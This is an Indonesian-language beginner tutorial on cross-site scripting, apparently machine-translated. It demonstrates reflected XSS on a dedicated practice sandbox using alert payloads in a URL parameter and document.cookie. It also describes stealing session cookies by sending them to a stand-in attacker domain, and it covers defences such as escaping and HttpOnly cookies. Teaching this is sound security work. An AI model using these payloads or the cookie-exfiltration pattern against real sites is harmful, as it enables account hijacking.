Jika Anda adalah seorang ahli pengujian keamanan dan sekali atau dua kali berpartisipasi dalam program bounty perusahaan IT besar, dan jumlah XSS yang Anda temukan puluhan atau bahkan ratusan, Anda dapat mengabaikan artikel ini dengan aman. Jika Anda baru mengenal topik ini dan baru mulai tertarik untuk mencari kerentanan - selamat datang di bawah cat.
Definisi
XSS (Cross-Site Scripting) adalah kerentanan yang cukup umum yang dapat ditemukan di banyak aplikasi web. Esensinya cukup sederhana; penyerang berhasil menyuntikkan kode JavaScript ke halaman yang tidak disediakan oleh pengembang. Kode ini akan dijalankan setiap kali korban (pengguna biasa) mengunjungi halaman aplikasi tempat kode ini ditambahkan. Dan kemudian ada beberapa skenario pengembangan.
Pertama, penyerang akan bisa mendapatkan kredensial pengguna dan masuk ke akunnya.
Kedua, penyerang dapat tanpa diketahui oleh korban mengarahkannya ke halaman klon lain. Halaman ini mungkin terlihat sangat identik dengan yang diharapkan pengguna. Tapi itu akan menjadi milik si penyusup. Jika pengguna tidak melihat adanya substitusi dan memasukkan beberapa data sensitif di halaman ini, yaitu data pribadi, penyerang akan memilikinya.
Yang ketiga ... ya, secara umum, lebih banyak yang bisa Anda pikirkan. Hampir semua hal yang dapat dilakukan JavaScript tersedia untuk penyerang. Di bawah ini kita akan melihat lebih dekat salah satu contoh ini. Sementara itu, mari coba bahas sedikit lebih detail bagaimana kerentanan bekerja. Dan mengapa penyerang berhasil memasukkan kodenya ke aplikasi orang lain tanpa akses ke sumbernya.
Sedikit peringatan. Semua informasi di bawah ini disajikan untuk tujuan informasional saja. Penguji harus dapat menguji aplikasi webnya untuk mengetahui kerentanan. Namun, mengeksploitasi kerentanan XSS pada sumber daya orang lain adalah ilegal.
Jika kita berbicara tentang undang-undang Rusia saat ini, ketika seorang peneliti menguji kerentanan produk orang lain atau memasuki jaringan orang lain tanpa sepengetahuan dan persetujuan pemiliknya, tindakannya dapat dianggap ilegal.
Tapi kembali ke XSS.
Bagaimana cara kerja kerentanan?
Pertama-tama, bagaimana tepatnya Anda berhasil memasukkan kode JavaScript ke halaman yang sebelumnya tidak ada? Dan bagaimana Anda mendistribusikan kode ini ke pengguna lain?
Misalnya, Anda dapat menambahkan kode JavaScript ke kolom input, teks yang digunakan untuk menyimpan dan kemudian ditampilkan di halaman untuk semua pengguna. Ini bisa menjadi bidang untuk memasukkan informasi tentang diri Anda di halaman profil jejaring sosial atau komentar di forum.
Penyerang memasukkan teks (dan untuk satu kode berbahaya), yang disimpan di halaman. Ketika pengguna lain mengunjungi halaman yang sama, mereka akan mengunduh JavaScript penyerang bersama dengan teks. Saat memuat, kode ini akan berfungsi. Tentu saja, kerentanan hanya akan berfungsi jika teks tidak aman saat disimpan. Kami akan berbicara sedikit nanti tentang bagaimana melakukan ini, dan mengapa pengembang terkadang melupakannya.
Ini hanyalah contoh paling sederhana dan paling jelas di mana kerentanan dapat disembunyikan. Di bawah ini kami akan mempertimbangkan contoh yang lebih menarik pada halaman demo yang disiapkan secara khusus.
Sampai saat itu, mari kita lanjutkan.
Mengapa error ini sering ditemukan pada proyek web?
Intinya adalah bahwa browser tidak dapat secara independen membedakan teks biasa dari teks yaitu kode CSS, HTML, atau JavaScript. Ini akan mencoba memperlakukan apa pun di antara tag <script> sebagai kode JavaScript. Apa pun di antara tag <style> dianggap CSS. Dan semua yang terlihat seperti tag dianggap sebagai kode HTML.
Jika pengembang ingin beberapa teks hanya terlihat seperti kode, tetapi sebenarnya tidak (yaitu, tidak diproses oleh browser, tetapi ditampilkan sebagaimana adanya), teks ini harus diproses secara khusus sebelum memberikannya ke browser. Proses ini disebut "perisai".
Dalam proses keluar dari teks dalam teks ini, semua spesial. karakter diganti dengan "pasangannya", dan browser sudah tahu pasti bahwa itu hanya teks. Hal terpenting adalah memproses teks yang berasal dari pengguna, karena pengguna mana pun dapat berubah menjadi penyerang dan mengirimkan beberapa kode bersama dengan teks tersebut. Sayangnya, terkadang pengembang lupa melarikan diri di tempat tertentu dalam aplikasi web, dan teks ditampilkan tanpa pemrosesan apa pun. Mungkin ada beberapa alasan untuk ini.
Misalnya, programmer tidak selalu mengingat semua tempat di mana teks yang ditentukan oleh pengguna muncul di halaman. Selain itu, terkadang bagian situs yang berbeda dapat dibuat pada waktu yang berbeda dan / atau oleh orang yang berbeda. Dalam kasus ini, kemungkinan kesalahan meningkat.
Alasan lain mungkin karena kerentanan bukan pada kode pengembang itu sendiri, tetapi pada kode pustaka yang dia gunakan. Biasanya ini adalah beberapa kerangka kerja siap pakai untuk membuat layanan web. Dalam hal ini, pengembang, tentu saja, mungkin tidak curiga bahwa dengan menghubungkan kerangka kerja ini ke proyek, dia secara otomatis menghubungkan kerentanan yang sudah jadi ke sana.
Selalu ada resiko seperti itu. Namun demikian, menulis aplikasi sepenuhnya dari awal, tanpa menggunakan perpustakaan sama sekali, sudah lama dan mahal saat ini. Tidak setiap perusahaan mampu mengembangkan level ini.
Dalam hal ini, semua harapan untuk penguji.
Mengapa kerentanan XSS berbahaya?
Mari sekali lagi, secara lebih rinci, berbicara tentang bahaya kerentanan XSS. Kerentanan itu sendiri tidak berbahaya. Menjadi berbahaya ketika penyusup menemukannya dan mulai menggunakannya untuk tujuannya sendiri. Memanfaatkan kerentanan disebut "vektor serangan". Dalam kasus XSS, ada beberapa vektor serangan.
Contoh paling sederhana adalah mencuri cookie otorisasi dari pengguna aplikasi web. Paling sering, situs yang memiliki otorisasi membedakan pengguna yang diberi otorisasi dengan apa yang disebut cookie sesi. Jika tidak ada, maka pengguna tidak berwenang. Dan jika ya, maka berdasarkan nilai cookie ini server dapat membedakan satu pengguna dari yang lain.
Semua cookie disimpan di komputer pengguna. Jika saya masuk sebagai pengguna, saya akan melihat nilai cookie saya. Dan saya tidak bisa menemukan arti orang asing.
Hal yang sama berlaku untuk kode JavaScript yang dijalankan di browser pengguna. Kode JavaScript ini akan melihat nilai cookie dari pengguna yang browsernya dijalankan dan hanya yang itu.
Sekarang mari kita asumsikan bahwa penyerang berhasil memasukkan kode JavaScript ke dalam halaman aplikasi web. Setiap pengguna yang sekarang mengunjungi halaman ini akan menjalankan kode JavaScript di browser. Ini akan membaca nilai cookie dari pengguna ini (sekarang menjadi korban). Tetap hanya meneruskan nilai ini ke penyerang - dan pekerjaan selesai. Tetapi bagaimana cara melewatkan nilai, karena kode berbahaya dijalankan di browser korban?
Sangat sederhana. Kode JavaScript yang sama dapat membuat permintaan AJAX ke server jauh. Misalnya, ke URL berikut: www.zloy-site.ru/stolen= { korban_cookie_value }
Domain situs zloy milik penyerang dari contoh kami. Semua permintaan yang datang ke domain ini dicatat di database. Dengan melihat parameter URL, penyerang mempelajari nilai cookie korban dan dapat menggunakannya untuk masuk ke akun mereka.
Seperti yang kita bahas di atas, ini bukan satu-satunya hal yang membuat kerentanan XSS berbahaya. Jadi, demi keamanan dan melindungi pengguna Anda, Anda harus dapat menemukan dan memperbaiki kerentanan tersebut dalam proyek Anda.
Di mana saya dapat menemukan XSS? Bagaimana cara menghadapinya? Halaman demo dengan contoh
Pertama-tama, ada baiknya memeriksa kerentanan XSS di tempat-tempat di situs di mana pengguna biasa memiliki kesempatan untuk memengaruhi konten. Jika dia bisa menambahkan beberapa teks di suatu tempat, dia bisa mencoba menambahkan kode JavaScript juga.
Mari kita lihat ini dengan contoh spesifik. Saya menyiapkan kotak pasir yang sangat sederhana tempat kerentanan XSS disembunyikan. Saya sarankan mencoba menemukannya bersama.
Membuka kotak pasir: https://playground.learnqa.ru/demo/xss
Pertama, mari kita lihat cara kerja halaman. Ini pada dasarnya adalah katalog buku yang sangat sederhana yang dapat dicari. Jika kita memasukkan "Ray Bradbury" dalam kueri, kita akan melihat semua buku yang ada di direktori penulis ini.
Pengguna yang penuh perhatian telah memperhatikan bahwa teks yang kami masukkan di bidang penelusuran langsung berakhir di URL. Momen ini masih berguna bagi kami.
Untuk saat ini, mari coba masukkan beberapa hal yang tidak masuk akal ke dalam kotak pencarian: “fwefewf”.
Kami akan melihat bahwa dalam kasus ini tidak ada yang ditemukan di halaman. Dan teks permintaan diulangi dalam teks kesalahan:
Jadi, Anda dan saya menemukan tempat munculnya teks yang kami masukkan. Oleh karena itu, ini adalah situs potensial untuk kerentanan XSS. Mari kita coba memasukkan kode JavaScript paling populer untuk memeriksa apakah ada kerentanan.
<script> alert (123) </script>
Jika halaman rentan, setelah memasukkan kode ini, jendela berikut akan muncul di halaman:
Ini berarti kode JavaScript kami telah dijalankan dan kami menemukan kerentanan XSS.
Jadi, kita memasukkan kode dan melihat peringatan berikut:
Formulir tidak memungkinkan kita untuk mencari dengan nilai seperti itu, karena formulir divalidasi dan hanya ingin bekerja dengan huruf dan angka. Pada pandangan pertama, tampaknya pengembang memperhitungkan semuanya dan melindungi halaman dari XSS, tetapi ini tidak sepenuhnya benar.
Ingat, tepat di atas, kami melihat bahwa teks yang kami masukkan di kolom pencarian ditampilkan di URL yang disebut parameter GET? Nama parameter ini adalah "q", dan nilainya adalah apa yang kita masukkan di kolom pencarian. Ini dilakukan agar Anda dapat menyalin URL bersama dengan string pencarian ini dan lain kali membuka halaman dengan penulis yang tepat segera.
Misalnya, URL ini akan segera membuka halaman dengan hanya buku Ray Bradbury: playground.learnqa.ru/demo/xss?q=Ray+Bradbury
Tidak seperti formulir, pengembang tidak dapat melakukan validasi URL - pengguna mana pun dapat memasukkan URL apa pun di browsernya apa pun yang diinginkannya, termasuk dengan nilai parameter GET apa pun. Tugas pengembang dalam hal ini adalah tidak lupa untuk memperhitungkan semua opsi dan menulis penangan yang benar untuk nilai parameter GET ini.
Mari kita periksa apakah pengembang kita lupa mempertimbangkan semuanya di sini. Mari kita coba untuk mengganti kode JavaScript yang sama ke dalam parameter GET “q”: https://playground.learnqa.ru/demo/xss?q= <script> alert (123) </script>
Setelah mengklik URL ini, kita melihat bahwa sebuah jendela muncul di halaman dengan nilai 123. Tapi kenapa?
Sangat sederhana. Ingat, ketika situs tidak dapat menemukan buku yang dibutuhkan untuk kueri penelusuran tertentu, teks kueri penelusuran ini akan ditampilkan dalam teks kesalahan? Seperti, tidak menemukan apa pun untuk kueri "blah blah." Alih-alih "blah blah" ini sekarang kami memiliki kode JavaScript dengan peringatan. Pengembang menulis validasi untuk bidang masukan dan memutuskan bahwa ini adalah cara dia melindungi situs dari JavaScript dapat muncul di kueri penelusuran. Dan dia tidak luput dari teks kesalahan. Kami dapat melewati validasi melalui URL dengan mengubah nilai kueri penelusuran di sana.
Demi kepentingan, sekarang kita dapat menampilkan nilai cookie sesi kita, untuk ini, alih-alih <script> alert () </script>, Anda perlu mengganti kode lain di URL: <script> alert (document.cookie) </script>
Saya akan membiarkan Anda bermain dengan ini dirimu sendiri. :)
Jika Anda menemukan bug, Anda harus menghubungi pengembang - mereka akan memperbaikinya.
Ada banyak cara untuk menutup error tersebut. Teks melarikan diri bukan satu-satunya. Anda juga dapat mencegah JavaScript sendiri melihat beberapa cookie. Untuk ini, cookie memiliki parameter khusus "hanya http". Jika disetel ke TRUE, JavaScript tidak akan dapat mengetahui bahwa cookie semacam itu telah disetel sama sekali dan tidak akan dapat membacanya serta mentransfernya ke penyerang meskipun ia dapat menemukan XSS di proyek Anda.
Semua ini hanyalah sebagian kecil, jauh dari daftar lengkap manipulasi untuk mencegah kerentanan XSS. Seperti yang dinyatakan di atas, jika XSS terdeteksi selama pengujian, yang terbaik adalah berbicara dengan pemrogram.
Jika Anda tertarik untuk mengetahui lebih banyak tentang pengujian keamanan, Anda ingin lebih memahami struktur arsitektur klien-server, memahami dan mengasah cara paling efektif untuk menemukan kerentanan dalam aplikasi web nyata, datanglah ke kursus saya "Pengujian Keamanan". Semua informasi yang Anda butuhkan ada di profil saya.
Hanya teori yang berguna dan perlu tanpa air dan sejumlah besar contoh dan tugas praktis menanti Anda. Anda akan menjelajahi banyak halaman web yang dipenuhi dengan berbagai kerentanan. Pekerjaan terakhir akan menjadi studi besar tentang proyek kerja Anda, atau salah satu aplikasi web raksasa seperti Google, Facebook, Twitter, dan sebagainya.